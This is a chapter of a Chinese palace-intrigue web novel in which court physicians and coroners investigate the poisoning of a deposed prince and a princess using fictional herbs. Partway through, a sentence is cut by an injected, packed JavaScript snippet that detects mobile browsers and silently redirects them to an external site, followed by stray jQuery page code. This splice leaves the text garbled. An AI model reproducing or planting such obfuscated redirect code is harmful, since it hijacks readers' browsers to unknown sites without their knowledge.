郇寰被这一声叹气引得心慌,但他见孙先生没有过多的沮丧和焦灼,反倒是从容地从药箱中捻起一张纸,执笔研墨写了起来:“伤口何来?”
郇寰找回自己的声音艰涩答:“薜荔殿……”
孙先生打住郇寰的话头,又草草写道:“臣请,搜检薜荔殿锐器。”随后将这张纸塞到了御医手中,御医当即了悟,如蒙大赦般跑去面圣。孙先生又写了一张递给月珰:“每半个时辰入一丸,至醒方停,新药随后到。”
孙先生收了纸笔,将药箱理好,丝毫没有考虑到在一旁无能为力干着急的郇寰,只是在背起药箱直起身后与郇寰恰恰好四目对视,送了个疑惑的眼神,似是在说“您怎么还在这里?”,然后就头也不回地往外走。
郇寰僵在原地,最后在走与留之间还是选择了留,谁知他还没仔细瞧过沈明枳,就听孙先生扣了扣门板,竟是又折了回来,指了指外面,似是要让他出去细谈。
沈明枳的呼吸虽然微弱,但已经渐渐恢复,郇寰忍住如同心口被割去一半的痛苦走出了里间,见外面的锦麟卫已经将这里围得密不透风,人群拱卫之中,方才那个御医正跪着给在外间矮几旁来来回回走来走去的圣上禀报着什么,孙先生是已经由锦麟卫陪着出了殿门。
圣上往回踱时一抬头就看见了他郇寰,朝凌云重比了一个手势,立刻就有锦麟卫替他理出了一个位子。冬至早已立在角落听了很久,见面色苍白的郇寰走了出来才暂时放下了心。
郇寰还没坐下,就觉出了殿内氛围不对,再一看,赵王、吴王、秦王、晋王不是坐着、竟然都是长跪于地。郇寰连忙止住要坐的动作,朝圣上望了一眼,岂料圣上刚好也朝他看来。
“你坐。”
得了圣意后郇寰才坐下,但方才还在回禀的御医早就禀完了,被这一打断竟然像是被圣上忘了一般,进退维谷,孤零零地跪在中央惶恐万分。随着这一声,殿中陷入了沉默,直到又有锦麟卫回禀说,先前给魏王检查的王御医死在了莲花池里,这个御医浑身一抖,有些支撑不住跪的姿态,圣上才一挥袖:“起来。”
沈明枳就是和这个死了的王御医一起去看望魏王的,而先她一步也去看过魏王的诸位亲王齐齐地跪在御前,几乎不用想,郇寰就知道魏王之死又与这些阴谋阳谋脱不开干系。他来之前本就有这样的预想,本该对这些腌臜事冷眼旁观,毕竟他已经被停了一个月的早朝,那股子多年积攒出的劲逐渐都被消磨掉了。但这事又牵涉到沈明枳,本性难移,他还是会下意识怀疑事情千结百扣,比他看到的更加复杂,不过从前是对沈明枳的怀疑多一些,现在是对她的安危的担心多一些。
圣上看了一眼心事重重的郇寰,继续问那锦麟卫:“验过了吗?”
“验过,溺毙无疑。”
圣上摆摆手让人退下。
魏王就这么死了,御医救人不成就顺便简单验了下尸体,无创无击,状似中毒,老五老九他们一帮兄弟都去看过他,这也就算了,他早料到老三自求被贬前路渺茫,但他的鹇儿也莫名其妙地中了毒生死未卜。他当初就不该允她去看老三!当时是怕万一老三有个三长两短有心人又要给她泼脏水,结果现在她自己折了进去。
圣上又搓了下发汗的双手。
郇寰坐在最末端,纵观着殿中一切,莫名觉得这样的情状与当年颇为相像。当时,他也是这样有着预感但却对前因后果不甚清晰地坐在一边,焦急地等待沈明枳苏醒,耳边眼前都是多方的拉扯推诿。他们都在为了自己的利益的失去而拼得头破血流,没有一个人意识到他和沈明枳失去了什么。
那是他们第一个孩子。
虽然太早,还不稳妥,除了他们并上公主府里几个心腹丫头小厮,没有走漏一点风声。
但他们连名字都商量好了,女孩就叫郇映,男孩就叫郇照。
郇寰回过神来,见又有人走入殿来,为首的是大理寺少卿薛康文,身后跟着的是大理寺的两个资历颇深的仵作。听过仵作的回告,郇寰不由惊疑起来。薜荔殿一来一回耗时良久,离大理寺的外城衙门遥远,大理寺的仵作却在短短时间内完成验尸前来禀告。
照众人的反应看来,仵作的结果应当和方才那个御医所说无差,魏王,不,是庶民沈明戏就是中了不知名的毒药而暴毙身亡,颈间存在着发黑的淤青,右手手背上有碎瓷划过的血痕,身上别无其他伤口。
郇寰还在琢磨,又听有锦麟卫进殿回禀,说是在溺死的王御医的值房的隐蔽处找到了一些奇奇怪怪的小瓶子。那些瓶子和孙先生所用的瓶子一般无二,就是整个太医院通用的那种平平无奇的瓶子,但每个细口瓶颈上都系着不同颜色的头发丝粗细的细线,有红有绿。
据太医院其他御医和药童所说,溺死的王御医因为年纪渐长,眼神逐渐不好,看小瓶子身上贴着的字条常常会看差,是有用各色丝线标记药物的习惯,但都是用三五根捻成一条的那种更粗一些的线或丝带标记,从未见过直接用这种粗细的细线捆扎。慢一步随行前来面圣的御医们也辨别不出瓶子里装着的白色粉末是为何物。
圣上命人备好了木案置于角落,大理寺的仵作无声上前开始检验那瓶中粉末。
殿中无一人敢擅自揣测,都紧张地闭嘴观望,也不知道那两个胡子灰白的仵作检查了多久,他们震惊地对视一眼,在角落的昏暗之中,他们按捺下心中的不可置信,收拾好了桌上的瓶罐,洗尽了双手,躬身走到薛康文边上低声回复。
薛康文在一旁听得焦心,多次偷偷瞟了几眼深不可测的郇寰,希望郇寰能和他通个眼神走个消息。正七上八下举棋不定时,就见上首的圣上不知什么时候已经看了过来,心中擂鼓,顿时什么权衡的心思都没有了,嘱咐了仵作一句“实话实说”,心道郇寰又要自求多福,然后就深深地埋下了头。
“可有结果?”
郇寰也看了过来,见两个仵作深吸一口气一同跪下,年纪稍长着道:“回陛下,小人需要稍加实验才可定论。”
“什么实验。”
那仵作抬起头诚恳道:“谋害性命的实验。”
“谋害性命的实验?”
两个仵作又互相看了一眼后,方才有一人迟疑地开口道:“小人听过一个偏方,用术草、斗岭花、还阳结、尸蟞壳、岁枯柏研磨成粉,按一定比例混合,兑入清水,化而无色,配以纾发消散效果极佳的清酒,一并服下,便可徐徐取人性命。死者容貌如生,唯有肠胃淤血,非破腹检验不可查。”
另一人补充道:“王御医留下的瓶子里就存有已经过炮制研磨成粉的术草、斗岭花、岁枯柏和还阳结,其中一只空瓶中残余的些许黑色粉末,经过检验,是尸蟞壳无疑。”
“那为何还需实验?”
最先说话的仵作解释道:“死者身上有酒味,应当是生前饮酒,若真是因此偏方而死,便不该颈间淤血,小人是斗胆猜测,会否通过别的途径接触毒物配以饮酒也可致人死亡,且死状与此相似。”
久不开口的吴王道:“颈间淤血难道就只有中毒这一个说法?会否是受了击打?”
老九冷冷反驳:“我与戒子不曾在薜荔殿与谁起过争执,兖国更是没能力伤到旁人,七哥何出此问?”
吴王缄口不言,两个仵作也不敢向吴王解释,毕竟在没有实验之前,他们也说不准,且破腹验尸,这是绝对不会被允许用在天家子孙身上的。
但冷眼旁观至此的郇寰却起了不详的预感。
假药案时,他表面上毫无作为,实际上也将涉事的药材铺、药材等等都摸排过一遍,在一份份单目中也看见过几次斗岭花、还阳结的字眼,了解到这两种药材都只长于西南十万大山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724241|142272||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里人迹罕至处,和龙血脑的珍稀程度不遑多让。而尸蟞壳这样邪门危险的东西更是难得,因着他曾经去过岭南办案,也了解过这个东西,比斗岭花、还阳结还要贵重,但却不常用于配药,多与墓葬腐尸牵扯。
能集斗岭花、还阳结这样珍稀药材、尸蟞壳这样邪门毒物于一张药单,这个偏方的创作人可见其恐怖。
斗岭花和还阳结难得,化隆上下都少有能供应得起的药材行,尸蟞壳更是邪物,来历更加扑朔迷离,查前者或许还可以下苦功夫,但后者还是敬而远之的好。
郇寰突觉冷汗。
假药案涉案的都是普通药材,牵扯的都是普通百姓,是故众人的目光少有集中于,为何只有赵王旗下的药材行会进斗岭花、还阳结这样赔本的药材,而像楼家的可与之分庭抗礼的药材行却没有这样进货的记录,这种药大都是有需求才有供货,绝对没有囤积奇货的道理。
郇寰抬眼看去,赵王垂首长跪,不发一言。
圣上不愿理睬他们兄弟相讥,正考虑着是否要让仵作进行实验,就听吴王又问道:“不知……你是从哪里听说这样的偏方的?”
两个仵作再度对视,齐齐转过头征询坐在一边的薛康文的意见,薛康文无可奈何,只能把头埋得更深。仵作得了指示,便小心回复:“小人是大理寺的仵作,常常会与刑部、都察院的同行相互切磋、一同提升……”
郇寰缓缓睁大了眼,微微偏过头看向早就愧得无地自容的薛康文。吴王有种因祸得福的喜悦,看向一直不言语的郇寰道:“看来刑部藏龙卧虎,仵作都这么见识广大。”
心跳逐渐加速,郇寰几乎不敢设想这件事继续牵扯下去扯出了苏霄后,他要如何收场。
就不能说是民间的奇人异士,非要点出刑部来!薛康文真是活腻了!不过也是,大理寺本就是局外人,说了谎话就要用千万个谎来圆,不慎还会被拉下诸王纷争的泥潭。
郇寰平复心情开始应战,就见两名锦麟卫引路,将早前给沈明枳诊治的孙先生带上殿来。
圣上很挂心沈明枳的安慰,就暂时将大理寺的仵作们都撂在一旁,问起孙先生有无什么发现。孙先生飞速写了起来:“碗上有毒。”
殿中人一时间都喘不过气。
有一个什么邪门的偏方也就罢了,怎么碗上又有毒?莫不是偏方就是沾在碗口从而谋人性命?抑或是两次下毒,总不会是出自一人之手。
孙先生继续写了几句交给随他一同上殿的药童,药童阅后立即代为禀告:“此毒极易消散,好在孙先生在碗碟碎片中提取到了少许残留,推测,公主殿下应当就是为碎瓷所伤而导致中毒。”
“可能解?”圣上激动问。
孙先生摇摇头,写了几个字递给药童,药童代为转述:“先生说,此毒乃发散心血之毒,先生只能辨别出里面几味药,洛阳子规草,蓟棘子,还有独产与西南十万大山的斗岭石,但他现在无法解毒,只可暂时压制。”
据先前那个胆小御医所说,魏王中的是淤积心血之毒,现在兖国公主中的是发散心血之毒,一种药不可能有两种截然不同的功效,显然是两种来源不明的毒。有一就会有二,这会否说明,至少有两个幕后之人在薜荔殿最后一场饯别中下了杀手。
圣上更阴郁了几分,所有人都噤若寒蝉,只听圣上问道:“斗岭石?”
孙先生又写了几句话递给药童,药童转述:“斗岭石产自十万大山中的斗岭天堑,是疏散淤血、发散心气极佳的草药,状似结石,深埋于地,为斗岭当地独有,故有此名。”
圣上扫了一眼被撂下的大理寺仵作,“斗岭花也是产自斗岭的珍贵草药?”
仵作小声应是。
圣上莫名冷笑了一声。
都是从西南弄的珍奇异宝,偏偏动的是谋人性命的坏心思!